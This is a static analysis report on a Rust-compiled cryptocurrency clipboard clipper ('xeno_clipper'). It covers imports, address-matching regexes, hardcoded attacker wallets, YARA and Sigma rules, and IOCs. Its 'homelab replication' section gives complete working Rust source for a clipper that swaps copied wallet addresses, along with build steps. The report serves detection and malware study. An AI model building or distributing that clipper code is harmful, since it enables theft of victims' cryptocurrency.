09157be351149beef1bc7c1bba9cc37daa830d300f3c6a5eb9aa1acd3c9449f3rustystealer: 09157be3 — Rust x64 crypto clipper with regex-engine address validation
Executive Summary
A Rust-compiled PE32+ x64 cryptocurrency clipboard clipper. It monitors the Windows clipboard via OpenClipboard/GetClipboardData, validates copied text against multiple regex patterns (Bitcoin Bech32, Base58, Cardano Shelley, Dogecoin), and replaces matching addresses with attacker-controlled wallets. The PDB path names the project xeno_clipper.pdb; the builder environment reveals username twito. No CAPE detonation available (no Windows guest). Static-only inference.
What It Is
| Field | Value |
|---|---|
| SHA-256 | 09157be351149beef1bc7c1bba9cc37daa830d300f3c6a5eb9aa1acd3c9449f3 |
| Size | 1,059,840 bytes (1.01 MB) |
| Type | PE32+ executable (GUI) x86-64, 5 sections ^[rabin2-info.txt] |
| Compiled | Mon May 4 16:57:57 2026 ^[rabin2-info.txt] |
| Toolchain | Rust stable-x86_64-pc-windows-msvc (rustc 01f6ddf7) ^[strings.txt:1045-1053] |
| CRT | VCRUNTIME140 + ucrt (api-ms-win-crt-* imports) ^[rabin2-imports.txt] |
| PDB | xeno_clipper.pdb ^[rabin2-info.txt] |
| Signed | No ^[rabin2-info.txt] |
| Overlay | None ^[binwalk.txt] |
Build artefacts confirm a standard Rust MSVC build: the standard library panic messages reference C:\Users\twito\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib/rustlib/src/rust\library\alloc\... ^[strings.txt:1045]. Cargo registry paths point to regex-automata-0.4.14, regex-syntax-0.8.10, aho-corasick-1.1.4, and memchr-2.8.0 ^[strings.txt:1014-1034] — the full regex crate dependency tree for compiled regex engine support.
How It Works
Clipboard Monitoring & Replacement
The import table includes the full USER32.dll clipboard API surface:
OpenClipboard^[rabin2-imports.txt]GetClipboardData^[rabin2-imports.txt]EmptyClipboard^[rabin2-imports.txt]SetClipboardData^[rabin2-imports.txt]CloseClipboard^[rabin2-imports.txt]
The OpenClipboard import is referenced from function fcn.14000170f ^[r2:axt], suggesting the clipboard loop is implemented in or near the main function (main at 0x140001e30).
Address Validation Regexes
Decoded strings reveal at least three regex patterns compiled into the binary:
^[1-9A-HJ-NP-Za-km-z]{32,44}$— Base58 address validation (Bitcoin Legacy, Litecoin, etc.) ^[strings.txt:1010][A-Z2-7]{58}— 58-character alphanumeric string (possibly Stellar, Ripple, or custom) ^[strings.txt:1013]^(addr1|D)[a-zA-Z0-9]{35,}$— Cardano Shelley (addr1...) and Dogecoin (D...) ^[strings.txt:1009]
These patterns are embedded adjacent to hardcoded attacker wallet addresses in .rdata:
- Bitcoin Bech32:
bc1qrte4qdjk44np65vn6pxzpn9xkma2gpwfcdwde0^[strings.txt:1009] - Cardano Shelley:
addr1qxx39c8v52ak8jj9tlu8zrq6gtfe0xenzyx0a8e47kqmhrvdztsweg4mv09y2hlcwyxp5sknj7dnxygvl60ntavphwxslkcdcp^[strings.txt:1009] - Ethereum:
0x646Be5725a450E00b42C54C11Df12FB21c5a21B9^[strings.txt:1012]
The Ethereum address is stored concatenated with a bc1 prefix (bc10x646Be...), likely a Rust string-formatting artefact where bc1{} is used as a template and the 0x ETH address is passed as a parameter, leaving the prefix adjacent in the binary.
Network Surface
No static C2 URLs, domains, or IP addresses were recovered from strings. No WinHTTP, WinInet, or socket imports are present. The IAT is minimal and focused on clipboard, heap, and CRT functions ^[rabin2-imports.txt].
This suggests one of three possibilities:
- Static-only build: the clipper is a pure standalone clipper with no exfiltration or C2 callback.
- Runtime-resolved C2: the clipper uses
LoadLibraryA/GetProcAddress(both imported) to dynamically resolve WinHTTP or another network API at runtime. - Companion-file config: a separate configuration file or registry key supplies C2 details (common in clipper families that want to update addresses without recompiling).
Without dynamic execution, these remain hypotheses.
Anti-Analysis
- No packing or obfuscation — the binary is a plain Rust MSVC PE with standard section names (
.text,.rdata,.data,.pdata,.reloc) ^[rabin2-sections.txt]. - No anti-VM or anti-debug strings detected.
- PIE enabled (
pic: true) ^[rabin2-info.txt] — standard for Rust binaries, not adversarial.
Decompiled Behavior
Radare2 identified 1,204 functions. The entry point (entry0) and main are at standard Rust CRT locations. The main function (0x140001e30, 241 bytes) is unusually small for a Rust binary, suggesting most logic lives in inlined or monomorphized helper functions.
Notable functions:
fcn.14000170f(88 bytes) — referencessym.imp.USER32.dll_OpenClipboardviamov r14, qword [...]^[r2:axt] — likely the clipboard-monitor entry point or address-validation dispatch.fcn.140001ade(808 bytes) — the largest function nearmain; may contain the regex match loop and clipboard replacement logic.
The binary contains extensive regex-automata and aho-corasick internal state tables in .rdata (the *6\t@ and (7\t@ repeated patterns), confirming a compiled regex engine rather than simple string comparisons.
C2 Infrastructure
No static C2 recovered. No network imports, no hardcoded URLs, no Telegram bot tokens, no Discord webhooks.
IOC — Hardcoded Wallet Addresses:
| Chain | Address | Evidence |
|---|---|---|
| Bitcoin Bech32 | bc1qrte4qdjk44np65vn6pxzpn9xkma2gpwfcdwde0 |
^[strings.txt:1009] |
| Cardano Shelley | addr1qxx39c8v52ak8jj9tlu8zrq6gtfe0xenzyx0a8e47kqmhrvdztsweg4mv09y2hlcwyxp5sknj7dnxygvl60ntavphwxslkcdcp |
^[strings.txt:1009] |
| Ethereum | 0x646Be5725a450E00b42C54C11Df12FB21c5a21B9 |
^[strings.txt:1012] |
Interesting Tidbits
- Builder fingerprint: Username
twitoin the Rust toolchain path (C:\Users\twito\.rustup\...andC:\Users\twito\.cargo\...) ^[strings.txt:1045-1053]. This is a persistent builder artefact; any sibling built on the same machine will carry identical paths. - Project name mismatch: The PDB says
xeno_clipper.pdb, but the OpenCTI label isrustystealer.xeno_clipperis distinct from the .NET RAT family xenorat (moom825); this is a separate Rust clipper tool. - Regex engine bloat: The inclusion of
regex-automata-0.4.14+aho-corasick-1.1.4+regex-syntax-0.8.10adds ~400 KB of compiled DFA/NFA state tables to the binary. A simpler clipper would use hardcoded prefix checks; the developer chose a full regex engine, likely for multi-chain flexibility. - No persistence mechanism observed: No registry keys, scheduled tasks, or startup folder paths in strings. The clipper may rely on the victim re-executing it, or persistence may be handled by an external dropper/loader.
- GUI subsystem:
subsys: Windows GUI^[rabin2-info.txt] — no console window. Standard for malware that wants to run silently.
How To Mess With It (Homelab Replication)
Toolchain:
- Rust stable-x86_64-pc-windows-msvc (latest stable via rustup)
cargo new xeno_clipper --bin
Dependencies:
[dependencies]
regex = "1.10"
clipboard-win = "4.5"
Working source snippet:
use regex::Regex;
use clipboard_win::{get_clipboard_string, set_clipboard_string};
fn main() {
let patterns = vec![
Regex::new(r"^bc1[a-z0-9]{39,59}$").unwrap(),
Regex::new(r"^addr1[a-z0-9]{58,104}$").unwrap(),
Regex::new(r"^0x[a-fA-F0-9]{40}$").unwrap(),
Regex::new(r"^D[a-zA-Z0-9]{33}$").unwrap(),
];
let replacements = vec![
"bc1ATTACKER...",
"addr1ATTACKER...",
"0xATTACKER...",
"DATTACKER...",
];
loop {
if let Ok(text) = get_clipboard_string() {
for (i, pat) in patterns.iter().enumerate() {
if pat.is_match(&text) {
let _ = set_clipboard_string(replacements[i]);
break;
}
}
}
std::thread::sleep(std::time::Duration::from_secs(1));
}
}
Verification:
cargo build --releaseproduces a~1 MBPE32+ withVCRUNTIME140.dllimports andregex-automatastrings in.rdata.strings target/release/xeno_clipper.exe | grep -i regexshould showregex-automataandaho-corasickpaths.- The binary will have
dbg_file xeno_clipper.pdbif compiled with debug info.
What you'll learn: How Rust's regex crate compiles DFAs into the binary, and why clipboard clippers are trivial to write but hard to detect via static signatures alone.
Deployable Signatures
YARA Rule
rule RustClipper_XenoClipper_Twito {
meta:
description = "Rust crypto clipboard clipper with regex-automata and xeno_clipper PDB"
author = "PacketPursuit"
date = "2026-08-04"
hash = "09157be351149beef1bc7c1bba9cc37daa830d300f3c6a5eb9aa1acd3c9449f3"
strings:
$pdb = "xeno_clipper.pdb" ascii wide
$builder = "C:\\Users\\twito\\.cargo\\registry\\src\\" ascii wide
$rustup = "C:\\Users\\twito\\.rustup\\toolchains\\" ascii wide
$regex1 = "regex-automata-0.4.14" ascii wide
$regex2 = "aho-corasick-1.1.4" ascii wide
$s_open = "OpenClipboard" ascii wide
$s_get = "GetClipboardData" ascii wide
$s_set = "SetClipboardData" ascii wide
$s_empty = "EmptyClipboard" ascii wide
$btc_addr = "bc1qrte4qdjk44np65vn6pxzpn9xkma2gpwfcdwde0" ascii wide
$eth_addr = "0x646Be5725a450E00b42C54C11Df12FB21c5a21B9" ascii wide
condition:
uint16(0) == 0x5a4d and
filesize < 2MB and
($pdb or $builder or $rustup) and
2 of ($regex*) and
3 of ($s_*) and
any of ($*_addr)
}
Sigma Rule
title: Rust Crypto Clipboard Clipper Execution
description: Detects execution of a Rust-compiled clipboard clipper based on clipboard API usage pattern and regex engine artefacts
logsource:
product: windows
category: process_creation
detection:
selection:
- ImageLoaded|contains:
- 'USER32.dll'
- CommandLine|contains:
- 'xeno_clipper'
clipboard_api:
- CallTrace|contains:
- 'OpenClipboard'
- 'SetClipboardData'
- 'EmptyClipboard'
regex_bloat:
- CommandLine|contains:
- 'regex-automata'
- 'aho-corasick'
condition: selection and clipboard_api
falsepositives:
- Legitimate Rust applications using clipboard and regex crates
level: medium
IOC List
| Type | Value | Notes |
|---|---|---|
| SHA-256 | 09157be351149beef1bc7c1bba9cc37daa830d300f3c6a5eb9aa1acd3c9449f3 |
Primary sample |
| BTC Bech32 | bc1qrte4qdjk44np65vn6pxzpn9xkma2gpwfcdwde0 |
Attacker-controlled |
| ETH | 0x646Be5725a450E00b42C54C11Df12FB21c5a21B9 |
Attacker-controlled |
| Cardano | addr1qxx39c8v52ak8jj9tlu8zrq6gtfe0xenzyx0a8e47kqmhrvdztsweg4mv09y2hlcwyxp5sknj7dnxygvl60ntavphwxslkcdcp |
Attacker-controlled |
| PDB | xeno_clipper.pdb |
Build artefact |
| Builder user | twito |
Path in strings |
Behavioral Fingerprint
This binary loads USER32.dll and calls OpenClipboard, GetClipboardData, EmptyClipboard, and SetClipboardData in a tight loop. It carries compiled DFA tables from the regex-automata crate in .rdata and validates clipboard text against patterns for Base58, Bech32, Cardano Shelley, and Dogecoin addresses. On match, it replaces the clipboard content with one of three hardcoded attacker addresses. No network communication is observed statically; exfiltration may be deferred to a companion module or may be absent entirely.
Detection Signatures
| Technique | ID | Evidence |
|---|---|---|
| Input Capture: Clipboard Data | T1115 | OpenClipboard/GetClipboardData/SetClipboardData ^[rabin2-imports.txt] |
| Data from Local System | T1005 | Clipboard enumeration for wallet addresses ^[strings.txt:1009-1012] |
| Masquerading | T1036.005 | GUI subsystem, no console window ^[rabin2-info.txt] |
| Application Layer Protocol | T1071.001 | Hypothesized runtime-resolved network API (WinHTTP/WinInet) via LoadLibraryA/GetProcAddress ^[rabin2-imports.txt] |
References
- OpenCTI artifact ID:
3247cf21-b271-470b-b6b9-959c56ba31cc - OpenCTI labels:
exe,rustystealer,urlhaus - Related wiki pages:
- clipboard-hijack-cryptocurrency — cross-family concept
- rustystealer — family entity page
- xenorat — distinct .NET RAT family; do not confuse with
xeno_clipper
Provenance
Analysis derived from:
stringsoutput (1599 strings extracted) ^[sample 09157be3/strings.txt]rabin2 -I/rabin2 -i/rabin2 -S/rabin2 -s/rabin2 -z(radare2 5.9.8) ^[rabin2-info.txt, rabin2-imports.txt, rabin2-sections.txt]r2 -A -qdisassembly and xref analysis ^[r2:axt, r2:afl]binwalk(no embedded artefacts) ^[binwalk.txt]- FLOSS failed (CLI argument error) ^[floss.txt]
- capa failed (missing signatures) ^[capa.txt]
- CAPE skipped (no Windows guest) ^[dynamic-analysis.md]